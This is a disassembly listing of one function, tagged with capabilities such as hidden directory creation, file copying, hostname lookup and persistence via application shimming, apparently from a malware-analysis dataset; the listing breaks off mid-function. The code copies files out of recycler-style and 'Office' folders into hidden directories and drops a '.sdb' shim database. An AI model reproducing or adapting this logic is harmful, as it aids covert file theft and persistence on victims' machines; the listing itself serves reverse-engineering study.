Function at 0x406e16
Capabilities:
Check if file exists
Copy file
Create directory
Delete directory
Enumerate files on windows
Get file attributes
Get hostname
Persist via application shimming
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41c844
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x57dc
call fcn.0040be80
push edi
push 0x427794
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x406e50
xor eax, eax
jmp 0x40857f
push 0x426d28
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x407961
mov word [ebp - 0xa50], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0xa4e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov word [ebp - 0x624], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x622]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x427794
lea eax, [ebp - 0xa50]
push eax
call fcn.0040c8aa
add esp, 8
push 0x422c04
lea ecx, [ebp - 0xa50]
push ecx
call fcn.0040c880
add esp, 8
lea edx, [ebp - 0xa50]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x406ef0
push 0
lea eax, [ebp - 0xa50]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 7
lea ecx, [ebp - 0xa50]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x422c78
lea edx, [ebp - 0xa50]
push edx
call fcn.0040c880
add esp, 8
push 0x427464
lea eax, [ebp - 0x624]
push eax
call fcn.0040c8aa
add esp, 8
push 0x422c9c
lea ecx, [ebp - 0x624]
push ecx
call fcn.0040c880
add esp, 8
push 1
lea edx, [ebp - 0xa50]
push edx
lea eax, [ebp - 0x624]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
call fcn.0040660c
push 0x104
push 0
lea ecx, [ebp - 0x1068]
push ecx
call fcn.0040be20
add esp, 0xc
mov word [ebp - 0x41c], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x41a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x106c], 0x104
push 0x427794
lea edx, [ebp - 0x1068]
push edx
call fcn.0040c8aa
add esp, 8
push 0x422cc0
lea eax, [ebp - 0x1068]
push eax
call fcn.0040c880
add esp, 8
mov dword [0x427cd8], 0
lea ecx, [ebp - 0x1068]
push ecx
call fcn.00406cce
add esp, 4
cmp dword [0x427cd8], 0x9600000
jbe 0x40700f
mov edx, 1
test edx, edx
je 0x40700f
lea eax, [ebp - 0x1068]
push eax
call fcn.00406992
add esp, 4
mov dword [0x427cd8], 0
lea ecx, [ebp - 0x1068]
push ecx
call fcn.00406cce
add esp, 4
cmp dword [0x427cd8], 0x9600000
jae 0x40700d
jmp 0x40700f
jmp 0x406fce
lea edx, [ebp - 0x106c]
push edx
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea ecx, [ebp - 0x1068]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x407053
push 0
lea edx, [ebp - 0x1068]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 7
lea eax, [ebp - 0x1068]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x104
push 0
lea ecx, [ebp - 0x82c]
push ecx
call fcn.0040be20
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x214]
push edx
call fcn.0040be20
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x82c]
push eax
call fcn.0040be20
add esp, 0xc
push 0x427464
lea ecx, [ebp - 0x82c]
push ecx
call fcn.0040c8aa
add esp, 8
push 0x422d34
lea edx, [ebp - 0x82c]
push edx
call fcn.0040c880
add esp, 8
push 0x427464
lea eax, [ebp - 0x214]
push eax
call fcn.0040c8aa
add esp, 8
push 0x422d38
lea ecx, [ebp - 0x214]
push ecx
call fcn.0040c880
add esp, 8
lea ecx, [ebp - 0x848]
call fcn.0040b0f8
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 0x214]
push edx
lea ecx, [ebp - 0x848]
call fcn.0040b1bd
mov dword [ebp - 0x1070], eax
cmp dword [ebp - 0x1070], 0
je 0x407309
lea ecx, [ebp - 0x848]
call fcn.0040b3e3
mov dword [ebp - 0x1070], eax
lea ecx, [ebp - 0x848]
call fcn.0040b3a6
test eax, eax
jne 0x407304
push 0x104
lea eax, [ebp - 0x57c8]
push eax
lea ecx, [ebp - 0x848]
call fcn.0040b5de
mov dword [ebp - 0x57d4], eax
mov ecx, dword [ebp - 0x57d4]
mov dword [ebp - 0x57d8], ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x57d8]
call fcn.00417d62
push eax
lea edx, [ebp - 0x1278]
push edx
call fcn.0040c8aa
add esp, 8
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x57c8]
call fcn.00417bc1
lea ecx, [ebp - 0x848]
call fcn.0040b0b0
test eax, eax
je 0x4071ad
jmp 0x407304
push 0x104
push 0
lea eax, [ebp - 0x1484]
push eax
call fcn.0040be20
add esp, 0xc
push 0x2e
lea ecx, [ebp - 0x1278]
push ecx
call fcn.0040b070
add esp, 8
mov dword [ebp - 0x127c], eax
cmp dword [ebp - 0x127c], 0
jne 0x4071e8
jmp 0x407111
mov edx, dword [ebp - 0x127c]
add edx, 2
push edx
lea eax, [ebp - 0x1484]
push eax
call fcn.0040c8aa
add esp, 8
lea ecx, [ebp - 0x1484]
push ecx
call fcn.0040c9bb
add esp, 4
push 0x422d44
lea edx, [ebp - 0x1484]
push edx
call fcn.0040c1a0
add esp, 8
test eax, eax
je 0x407244
push 0x422d4c
lea eax, [ebp - 0x1484]
push eax
call fcn.0040c1a0
add esp, 8
test eax, eax
jne 0x407304
push 0x104
push 0
lea ecx, [ebp - 0xc58]
push ecx
call fcn.0040be20
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x82c]
push edx
call fcn.0040be20
add esp, 0xc
lea eax, [ebp - 0x1068]
push eax
lea ecx, [ebp - 0xc58]
push ecx
call fcn.0040c8aa
add esp, 8
push 0x422d58
lea edx, [ebp - 0xc58]
push edx
call fcn.0040c880
add esp, 8
lea eax, [ebp - 0x1278]
push eax
lea ecx, [ebp - 0xc58]
push ecx
call fcn.0040c880
add esp, 8
push 0x427464
lea edx, [ebp - 0x82c]
push edx
call fcn.0040c8aa
add esp, 8
push 0x422d5c
lea eax, [ebp - 0x82c]
push eax
call fcn.0040c880
add esp, 8
lea ecx, [ebp - 0x1278]
push ecx
lea edx, [ebp - 0x82c]
push edx
call fcn.0040c880
add esp, 8
push 0
lea eax, [ebp - 0xc58]
push eax
lea ecx, [ebp - 0x82c]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp 0x407111
lea ecx, [ebp - 0x848]
call fcn.0040b173
call fcn.0040955b
call fcn.00408efa
push 0x104
push 0
lea edx, [ebp - 0xe60]
push edx
call fcn.0040be20
add esp, 0xc
push 0x422d60
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4073ae
push 0x104
push 0
lea eax, [ebp - 0xe60]
push eax
call fcn.0040be20
add esp, 0xc
lea ecx, [ebp - 0x1068]
push ecx
lea edx, [ebp - 0xe60]
push edx
call fcn.0040c8aa
add esp, 8
push 0x422d84
lea eax, [ebp - 0xe60]
push eax
call fcn.0040c880
add esp, 8
lea ecx, [ebp - 0x41c]
push ecx
lea edx, [ebp - 0xe60]
push edx
call fcn.0040c880
add esp, 8
push 0x422d88
lea eax, [ebp - 0xe60]
push eax
call fcn.00409f81
add esp, 8
push 0x104
push 0
lea ecx, [ebp - 0x214]
push ecx
call fcn.0040be20
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0xc58]
push edx
call fcn.0040be20
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x82c]
push eax
call fcn.0040be20
add esp, 0xc
push str.C:_recycler
lea ecx, [ebp - 0x214]
push ecx
call fcn.0040c8aa
add esp, 8
push 0x422dc4
lea edx, [ebp - 0x214]
push edx
call fcn.0040c880
add esp, 8
push 0
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x848]
call fcn.0040b1bd
mov dword [ebp - 0x1070], eax
cmp dword [ebp - 0x1070], 0
je 0x407614
lea ecx, [ebp - 0x848]
call fcn.0040b3e3
mov dword [ebp - 0x1070], eax
lea ecx, [ebp - 0x848]
call fcn.0040b3a6
test eax, eax
jne 0x40760f
push 0x104
lea ecx, [ebp - 0x57cc]
push ecx
lea ecx, [ebp - 0x848]
call fcn.0040b5de
mov dword [ebp - 0x57dc], eax
mov edx, dword [ebp - 0x57dc]
mov dword [ebp - 0x57e0], edx
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x57e0]
call fcn.00417d62
push eax
lea eax, [ebp - 0x168c]
push eax
call fcn.0040c8aa
add esp, 8
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x57cc]
call fcn.00417bc1
lea ecx, [ebp - 0x848]
call fcn.0040b0b0
test eax, eax
je 0x4074ce
jmp 0x40760f
push 0x104
push 0
lea ecx, [ebp - 0x1898]
push ecx
call fcn.0040be20
add esp, 0xc
push 0x2e
lea edx, [ebp - 0x168c]
push edx
call fcn.0040b070
add esp, 8
mov dword [ebp - 0x1690], eax
cmp dword [ebp - 0x1690], 0
jne 0x407509
jmp 0x407432
mov eax, dword [ebp - 0x1690]
add eax, 2
push eax
lea ecx, [ebp - 0x1898]
push ecx
call fcn.0040c8aa
add esp, 8
lea edx, [ebp - 0x1898]
push edx
call fcn.0040c9bb
add esp, 4
push str.FOUND
lea eax, [ebp - 0x1898]
push eax
call fcn.0040c1a0
add esp, 8
test eax, eax
jne 0x40760f
push 0x104
push 0
lea ecx, [ebp - 0xc58]
push ecx
call fcn.0040be20
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x82c]
push edx
call fcn.0040be20
add esp, 0xc
lea eax, [ebp - 0x1068]
push eax
lea ecx, [ebp - 0xc58]
push ecx
call fcn.0040c8aa
add esp, 8
push 0x422ddc
lea edx, [ebp - 0xc58]
push edx
call fcn.0040c880
add esp, 8
lea eax, [ebp - 0x41c]
push eax
lea ecx, [ebp - 0xc58]
push ecx
call fcn.0040c880
add esp, 8
lea edx, [ebp - 0x168c]
push edx
lea eax, [ebp - 0xc58]
push eax
call fcn.0040c880
add esp, 8
push 0x422de0
lea ecx, [ebp - 0x82c]
push ecx
call fcn.0040c8aa
add esp, 8
lea edx, [ebp - 0x168c]
push edx
lea eax, [ebp - 0x82c]
push eax
call fcn.0040c880
add esp, 8
push 0
lea ecx, [ebp - 0xc58]
push ecx
lea edx, [ebp - 0x82c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp 0x407432
lea ecx, [ebp - 0x848]
call fcn.0040b173
push 0x104
push 0
lea eax, [ebp - 0xe60]
push eax
call fcn.0040be20
add esp, 0xc
push 0x427464
lea ecx, [ebp - 0xe60]
push ecx
call fcn.0040c8aa
add esp, 8
push str.userHelp
lea edx, [ebp - 0xe60]
push edx
call fcn.0040c880
add esp, 8
lea eax, [ebp - 0xe60]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4076db
push 0x104
push 0
lea ecx, [ebp - 0xc58]
push ecx
call fcn.0040be20
add esp, 0xc
lea edx, [ebp - 0x1068]
push edx
lea eax, [ebp - 0xc58]
push eax
call fcn.0040c8aa
add esp, 8
push 0x422e10
lea ecx, [ebp - 0xc58]
push ecx
call fcn.0040c880
add esp, 8
lea edx, [ebp - 0x41c]
push edx
lea eax, [ebp - 0xc58]
push eax
call fcn.0040c880
add esp, 8
lea ecx, [ebp - 0xe60]
push ecx
lea edx, [ebp - 0xc58]
push edx
call fcn.00409f81
add esp, 8
push 0x104
push 0
lea eax, [ebp - 0x214]
push eax
call fcn.0040be20
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x82c]
push ecx
call fcn.0040be20
add esp, 0xc
push 0x427794
lea edx, [ebp - 0x214]
push edx
call fcn.0040c8aa
add esp, 8
push 0x422e14
lea eax, [ebp - 0x214]
push eax
call fcn.0040c880
add esp, 8
push 0
lea ecx, [ebp - 0x214]
push ecx
lea ecx, [ebp - 0x848]
call fcn.0040b1bd
mov dword [ebp - 0x1070], eax
cmp dword [ebp - 0x1070], 0
je 0x40793f
lea ecx, [ebp - 0x848]
call fcn.0040b3e3
mov dword [ebp - 0x1070], eax
lea ecx, [ebp - 0x848]
call fcn.0040b3a6
test eax, eax
jne 0x40793a
push 0x104
lea edx, [ebp - 0x57d0]
push edx
lea ecx, [ebp - 0x848]
call fcn.0040b5de
mov dword [ebp - 0x57e4], eax
mov eax, dword [ebp - 0x57e4]
mov dword [ebp - 0x57e8], eax
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x57e8]
call fcn.00417d62
push eax
lea ecx, [ebp - 0x1aa0]
push ecx
call fcn.0040c8aa
add esp, 8
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x57d0]
call fcn.00417bc1
lea ecx, [ebp - 0x848]
call fcn.0040b0b0
test eax, eax
je 0x4077e5
jmp 0x40793a
push 0x104
push 0
lea edx, [ebp - 0x1cac]
push edx
call fcn.0040be20
add esp, 0xc
push 0x2e
lea eax, [ebp - 0x1aa0]
push eax
call fcn.0040b070
add esp, 8
mov dword [ebp - 0x1aa4], eax
cmp dword [ebp - 0x1aa4], 0
jne 0x407820
jmp 0x407749
mov ecx, dword [ebp - 0x1aa4]
add ecx, 2
push ecx
lea edx, [ebp - 0x1cac]
push edx
call fcn.0040c8aa
add esp, 8
lea eax, [ebp - 0x1cac]
push eax
call fcn.0040c9bb
add esp, 4
push 0x422e90
lea ecx, [ebp - 0x1cac]
push ecx
call fcn.0040c1a0
add esp, 8
test eax, eax
je 0x40787c
push str.TIME
lea edx, [ebp - 0x1cac]
push edx
call fcn.0040c1a0
add esp, 8
test eax, eax
jne 0x40793a
push 0x104
push 0
lea eax, [ebp - 0xc58]
push eax
call fcn.0040be20
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x82c]
push ecx
call fcn.0040be20
add esp, 0xc
push 0x427464
lea edx, [ebp - 0xc58]
push edx
call fcn.0040c8aa
add esp, 8
push 0x422ea4
lea eax, [ebp - 0xc58]
push eax
call fcn.0040c880
add esp, 8
lea ecx, [ebp - 0x1aa0]
push ecx
lea edx, [ebp - 0xc58]
push edx
call fcn.0040c880
add esp, 8
push 0x427794
lea eax, [ebp - 0x82c]
push eax
call fcn.0040c8aa
add esp, 8
push 0x422ea8
lea ecx, [ebp - 0x82c]
push ecx
call fcn.0040c880
add esp, 8
lea edx, [ebp - 0x1aa0]
push edx
lea eax, [ebp - 0x82c]
push eax
call fcn.0040c880
add esp, 8
push 1
lea ecx, [ebp - 0xc58]
push ecx
lea edx, [ebp - 0x82c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp 0x407749
lea ecx, [ebp - 0x848]
call fcn.0040b173
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x848]
call fcn.0040b137
jmp 0x40801c
push 0x104
push 0
lea eax, [ebp - 0x20bc]
push eax
call fcn.0040be20
add esp, 0xc
push 0x427464
lea ecx, [ebp - 0x20bc]
push ecx
call fcn.0040c8aa
add esp, 8
push str.Officedown
lea edx, [ebp - 0x20bc]
push edx
call fcn.0040c880
add esp, 8
push 0
lea eax, [ebp - 0x20bc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x4079c1
push 2
lea ecx, [ebp - 0x20bc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x422f38
lea edx, [ebp - 0x20bc]
push edx
call fcn.0040c880
add esp, 8
push 0x104
push 0
lea eax, [ebp - 0x3044]
push eax
call fcn.0040be20
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x26d8]
push ecx
call fcn.0040be20
add esp, 0xc
lea edx, [ebp - 0x3044]
push edx
call fcn.00404336
add esp, 4
push 0x104
lea eax, [ebp - 0x26d8]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x3044]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x104
push 0
lea edx, [ebp - 0x20bc]
push edx
call fcn.0040be20
add esp, 0xc
push 0x427464
lea eax, [ebp - 0x20bc]
push eax
call fcn.0040c8aa
add esp, 8
push 0x422f3c
lea ecx, [ebp - 0x20bc]
push ecx
call fcn.0040c880
add esp, 8
lea edx, [ebp - 0x26d8]
push edx
lea eax, [ebp - 0x20bc]
push eax
call fcn.0040c880
add esp, 8
push 0
lea ecx, [ebp - 0x20bc]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x407aa5
push 2
lea edx, [ebp - 0x20bc]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x104
push 0
lea eax, [ebp - 0x2cf0]
push eax
call fcn.0040be20
add esp, 0xc
push 0x427794
lea ecx, [ebp - 0x2cf0]
push ecx
call fcn.0040c8aa
add esp, 8
push 0x422f58
lea edx, [ebp - 0x2cf0]
push edx
call fcn.0040c880
add esp, 8
lea eax, [ebp - 0x2cf0]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x407b54
mov dword [0x427cc0], 1
mov dword [0x427cc4], 0
mov dword [0x427cd0], 0
mov dword [0x427cc8], 0
mov dword [0x4220a4], 1
lea ecx, [ebp - 0x2cf0]
push ecx
lea edx, [ebp - 0x20bc]
push edx
call fcn.00409f81
add esp, 8
mov dword [0x427cc0], 0
lea eax, [ebp - 0x2cf0]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea ecx, [ebp - 0x2cf0]
push ecx
call fcn.0040a3b8
add esp, 4
push 0x104
push 0
lea edx, [ebp - 0x2cf0]
push edx
call fcn.0040be20
add esp, 0xc
push 0x427794
lea eax, [ebp - 0x2cf0]
push eax
call fcn.0040c8aa
add esp, 8
push str.RECYCLED
lea ecx, [ebp - 0x2cf0]
push ecx
call fcn.0040c880
add esp, 8
lea edx, [ebp - 0x2cf0]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x407c12
mov dword [0x427cc0], 1
mov dword [0x427cc4], 0
mov dword [0x427cd0], 0
mov dword [0x427cc8], 0
mov dword [0x4220a4], 1
lea eax, [ebp - 0x2cf0]
push eax
lea ecx, [ebp - 0x20bc]
push ecx
call fcn.00409f81
add esp, 8
mov dword [0x427cc0], 0
lea edx, [ebp - 0x2cf0]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea eax, [ebp - 0x2cf0]
push eax
call fcn.0040a3b8
add esp, 4
mov word [ebp - 0x24d0], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x24ce]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov word [ebp - 0x1eb4], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x1eb2]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x427794
lea ecx, [ebp - 0x24d0]
push ecx
call fcn.0040c8aa
add esp, 8
push 0x422fe0
lea edx, [ebp - 0x24d0]
push edx
call fcn.0040c880
add esp, 8
lea eax, [ebp - 0x24d0]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x407cad
push 0
lea ecx, [ebp - 0x24d0]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 7
lea edx, [ebp - 0x24d0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x423054
lea eax, [ebp - 0x24d0]
push eax
call fcn.0040c880
add esp, 8
push 0x427464
lea ecx, [ebp - 0x1eb4]
push ecx
call fcn.0040c8aa
add esp, 8
push str.office_2DEB.sdb
lea edx, [ebp - 0x1eb4]
push edx
call fcn.0040c880
add esp, 8
push 0
lea eax, [ebp - 0x24d0]
push eax
lea ecx, [ebp - 0x1eb4]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x104
push 0
lea edx, [ebp - 0x28e0]
push edx
call fcn.0040be20
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x22c8]
push eax
call fcn.0040be20
add esp, 0xc
push 0x427464
lea ecx, [ebp - 0x28e0]
push ecx
call fcn.0040c8aa
add esp, 8
push str.OfficeInit
lea edx, [ebp - 0x28e0]
push edx
call fcn.0040c880
add esp, 8
push 0x427794
lea eax, [ebp - 0x22c8]
push eax
call fcn.0040c8aa
add esp, 8
push 0x4230b4
lea ecx, [ebp - 0x22c8]
push ecx
call fcn.0040c880
add esp, 8
push 0
lea edx, [ebp - 0x22c8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 2
lea eax, [ebp - 0x22c8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x423128
lea ecx, [ebp - 0x22c8]
push ecx
call fcn.0040c880
add esp, 8
push 0
lea edx, [ebp - 0x22c8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 2
lea eax, [ebp - 0x22c8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x28e0]
push ecx
lea edx, [ebp - 0x2ae8]
push edx
call fcn.0040c8aa
add esp, 8
push 0x423130
lea eax, [ebp - 0x2ae8]
push eax
call fcn.0040c880
add esp, 8
lea ecx, [ebp - 0x2f40]
push ecx
lea edx, [ebp - 0x2ae8]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x20c0], eax
cmp dword [ebp - 0x20c0], 0xffffffff
jne 0x407e1f
xor eax, eax
jmp 0x40857f
mov eax, 1
test eax, eax
je 0x40800f
lea ecx, [ebp - 0x28e0]
push ecx
lea edx, [ebp - 0x324c]
push edx
call fcn.0040c8aa
add esp, 8
push 0x42313c
lea eax, [ebp - 0x324c]
push eax
call fcn.0040c880
add esp, 8
lea ecx, [ebp - 0x2f14]
push ecx
lea edx, [ebp - 0x324c]
push edx
call fcn.0040c880
add esp, 8
mov eax, dword [ebp - 0x2f40]
and eax, 0x10
test eax, eax
je 0x407e7e
jmp 0x407ff0
push 0x104
push 0
lea ecx, [ebp - 0x3454]
push ecx
call fcn.0040be20
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x3660]
push edx
call fcn.0040be20
add esp, 0xc
lea eax, [ebp - 0x2f14]
push eax
lea ecx, [ebp - 0x3660]
push ecx
call fcn.0040c8aa
add esp, 8
push 0x2e
lea edx, [ebp - 0x3660]
push edx
call fcn.0040b070
add esp, 8
mov dword [ebp - 0x3458], eax
cmp dword [ebp - 0x3458], 0
je 0x407ff0
mov eax, dword [ebp - 0x3458]
add eax, 2
push eax
lea ecx, [ebp - 0x3454]
push ecx
call fcn.0040c8aa
add esp, 8
lea edx, [ebp - 0x3454]
push edx
call fcn.0040c9bb
add esp, 4
push 0x423140
lea eax, [ebp - 0x3454]
push eax
call fcn.0040c1a0
add esp, 8
test eax, eax
je 0x407f84
push 0x423148
lea ecx, [ebp - 0x3454]
push ecx
call fcn.0040c1a0
add esp, 8
test eax, eax
je 0x407f84
push 0x423150
lea edx, [ebp - 0x3454]
push edx
call fcn.0040c1a0
add esp, 8
test eax, eax
je 0x407f84
push 0x423158
lea eax, [ebp - 0x3454]
push eax
call fcn.0040c1a0
add esp, 8
test eax, eax
je 0x407f84
push 0x423160
lea ecx, [ebp - 0x3454]
push ecx
call fcn.0040c1a0
add esp, 8
test eax, eax
jne 0x407ff0
push 0x104
push 0
lea edx, [ebp - 0x3868]
push edx
call fcn.0040be20
add esp, 0xc
lea eax, [ebp - 0x22c8]
push eax
lea ecx, [ebp - 0x3868]
push ecx
call fcn.0040c8aa
add esp, 8
push 0x423168
lea edx, [ebp - 0x3868]
push edx
call fcn.0040c880
add esp, 8
lea eax, [ebp - 0x2f14]
push eax
lea ecx, [ebp - 0x3868]
push ecx
call fcn.0040c880
add esp, 8
push 0
lea edx, [ebp - 0x3868]
push edx
lea eax, [ebp - 0x324c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea ecx, [ebp - 0x2f40]
push ecx
mov edx, dword [ebp - 0x20c0]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40800a
jmp 0x40800f
jmp 0x407e1f
mov eax, dword [ebp - 0x20c0]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x42316c
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4081e7
push 0x104
push 0
lea ecx, [ebp - 0x3a74]
push ecx
call fcn.0040be20
add esp, 0xc
push 0x427794
lea edx, [ebp - 0x3a74]
push edx
call fcn.0040c8aa
add esp, 8
push 0x423190
lea eax, [ebp - 0x3a74]
push eax
call fcn.0040c880
add esp, 8
push 0
lea ecx, [ebp - 0x3a74]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 2
lea edx, [ebp - 0x3a74]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x423204
lea eax, [ebp - 0x3a74]
push eax
call fcn.0040c880
add esp, 8
push 0
lea ecx, [ebp - 0x3a74]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 2
lea edx, [ebp - 0x3a74]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push str.D:_recycled_recy.
lea eax, [ebp - 0x3c7c]
push eax
call fcn.0040c8aa
add esp, 8
lea ecx, [ebp - 0x3ecc]
push ecx
lea edx, [ebp - 0x3c7c]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x386c], eax
cmp dword [ebp - 0x386c], 0xffffffff
jne 0x4080fc
xor eax, eax
jmp 0x40857f
mov eax, 1
test eax, eax
je 0x4081d0
mov ecx, dword [ebp - 0x3ecc]
and ecx, 0x10
test ecx, ecx
je 0x40811b
jmp 0x4081b1
push str.D:_recycled_recy_
lea edx, [ebp - 0x40d4]
push edx
call fcn.0040c8aa
add esp, 8
lea eax, [ebp - 0x3ea0]
push eax
lea ecx, [ebp - 0x40d4]
push ecx
call fcn.0040c880
add esp, 8
push 0x104
push 0
lea edx, [ebp - 0x42dc]
push edx
call fcn.0040be20
add esp, 0xc
lea eax, [ebp - 0x3a74]
push eax
lea ecx, [ebp - 0x42dc]
push ecx
call fcn.0040c8aa
add esp, 8
push 0x42325c
lea edx, [ebp - 0x42dc]
push edx
call fcn.0040c880
add esp, 8
lea eax, [ebp - 0x3ea0]
push eax
lea ecx, [ebp - 0x42dc]
push ecx
call fcn.0040c880
add esp, 8
push 0
lea edx, [ebp - 0x42dc]
push edx
lea eax, [ebp - 0x40d4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea ecx, [ebp - 0x3ecc]
push ecx
mov edx, dword [ebp - 0x386c]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4081cb
jmp 0x4081d0
jmp 0x4080fc
mov eax, dword [ebp - 0x386c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 1
jmp 0x40857f
push 0x423260
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4083b2
push 0x104
push 0
lea ecx, [ebp - 0x44e8]
push ecx
call fcn.0040be20
add esp, 0xc
push 0x427794
lea edx, [ebp - 0x44e8]
push edx
call fcn.0040c8aa
add esp, 8
push 0x423284
lea eax, [ebp - 0x44e8]
push eax
call fcn.0040c880
add esp, 8
push 0
lea ecx, [ebp - 0x44e8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 2
lea edx, [ebp - 0x44e8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x4232f8
lea eax, [ebp - 0x44e8]
push eax
call fcn.0040c880
add esp, 8
push 0
lea ecx, [ebp - 0x44e8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 2
lea edx, [ebp - 0x44e8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push str.C:_recycled_recy.
lea eax, [ebp - 0x46f0]
push eax
call fcn.0040c8aa
add esp, 8
lea ecx, [ebp - 0x4940]
push ecx
lea edx, [ebp - 0x46f0]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x42e0], eax
cmp dword [ebp - 0x42e0], 0xffffffff
jne 0x4082c7
xor eax, eax
jmp 0x40857f
mov eax, 1
test eax, eax
je 0x40839b
mov ecx, dword [ebp - 0x4940]
and ecx, 0x10
test ecx, ecx
je 0x4082e6
jmp 0x40837c
push str.C:_recycled_recy_
lea edx, [ebp - 0x4b48]
push edx
call fcn.0040c8aa
add esp, 8
lea eax, [ebp - 0x4914]
push eax
lea ecx, [ebp - 0x4b48]
push ecx
call fcn.0040c880
add esp, 8
push 0x104
push 0
lea edx, [ebp - 0x4d50]
push edx
call fcn.0040be20
add esp, 0xc
lea eax, [ebp - 0x44e8]
push eax
lea ecx, [ebp - 0x4d50]
push ecx
call fcn.0040c8aa
add esp, 8
push 0x423350
lea edx, [ebp - 0x4d50]
push edx
call fcn.0040c880
add esp, 8
lea eax, [ebp - 0x4914]
push eax
